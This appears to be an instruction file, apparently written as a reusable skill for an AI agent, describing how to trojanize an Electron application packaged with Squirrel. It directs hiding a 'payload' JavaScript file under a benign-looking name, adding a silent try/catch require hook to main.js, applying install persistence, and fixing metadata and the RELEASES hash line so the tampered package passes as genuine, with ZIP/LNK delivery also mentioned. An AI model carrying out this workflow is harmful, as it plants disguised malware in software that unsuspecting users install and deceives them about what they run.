Electron Squirrel Repackage
Use this skill when rebuilding a working Electron payload chain for a new payload file against a newer Electron runtime.
Inputs
- path to the payload JS file
- path to the newer Electron app package or
.nupkg - output working directory
- target delivery version/filename when an older chain must be preserved
Workflow
- Start from the newer Electron package, not an older
app.asarbuild if the payload needs newer Electron/Node behavior. - Work in the unpacked app directory (for example
lib/net45/resources/app/). - Copy the payload into the app directory under a benign application-like filename.
- Prepend the main-process hook early in
main.js:jstry { require('./<benign-name>.js') } catch (e) {} - Reuse the install/persistence pattern from
electron-install-persistencewhen the app must remain alive after install. - Normalize metadata for the target delivery chain:
- output filename
- nuspec/app version fields
- package metadata consistency
- Repack the package and regenerate:
text
<sha1> <filename> <size>
Output
Always report:
- final package path
- final
RELEASESline - benign payload filename used
- files modified
- which persistence/install strategy was applied
Do Not
- switch back to an older
app.asarbuild when newer Electron is required - leave filename, metadata, and
RELEASESout of sync - do ZIP/LNK delivery packaging unless explicitly requested


